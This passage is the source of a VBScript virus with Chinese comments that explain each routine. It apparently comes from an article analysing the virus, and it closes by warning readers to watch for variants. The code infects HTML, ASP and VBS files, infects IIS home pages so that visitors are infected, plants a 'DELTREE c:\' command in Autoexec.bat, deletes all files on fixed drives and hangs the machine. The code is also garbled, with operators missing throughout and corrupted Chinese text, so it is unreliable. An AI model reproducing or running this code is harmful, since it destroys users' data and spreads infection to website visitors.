dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub
if Path "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '檢查文件的擴(kuò)展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執(zhí)行也會(huì)執(zhí)行病毒代碼,而且不會(huì)影響原文件的正常執(zhí)行。
if Code_Str"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盤(pán)刪除文件過(guò)程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _
"DELTREE c:\" '將刪除C盤(pán)的命令插入Autoexec.bat 中,下次開(kāi)機(jī)時(shí),刪除整個(gè)硬盤(pán),并沒(méi)有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf codeText
ko.Close
'接著立刻刪除其它盤(pán)的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '讓系統(tǒng)立刻死機(jī)
window.open ""
loop
end sub
sub Hackpage() ' 此過(guò)程是直接攻擊 Mircosoft IIS 服務(wù)器主頁(yè)過(guò)程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判斷是否為網(wǎng)站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網(wǎng)站的用戶(hù)
set fi = fso.GetFile(H "\index.htm")
AddHead H "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此過(guò)程是病毒傳染文件具體過(guò)程
on error resume next
dim tso, buffer,sr
if f.size MAX_SIZE then exit sub '傳染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str vbcrlf buffer '插入到文件頭
tso.close
end if
else
if mid(buffer, 3, 2) "'@" then
tso.close
sr=w2 "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
雖然病毒發(fā)作日已過(guò)但我們還是要小心提防病毒的變種出現(xiàn)。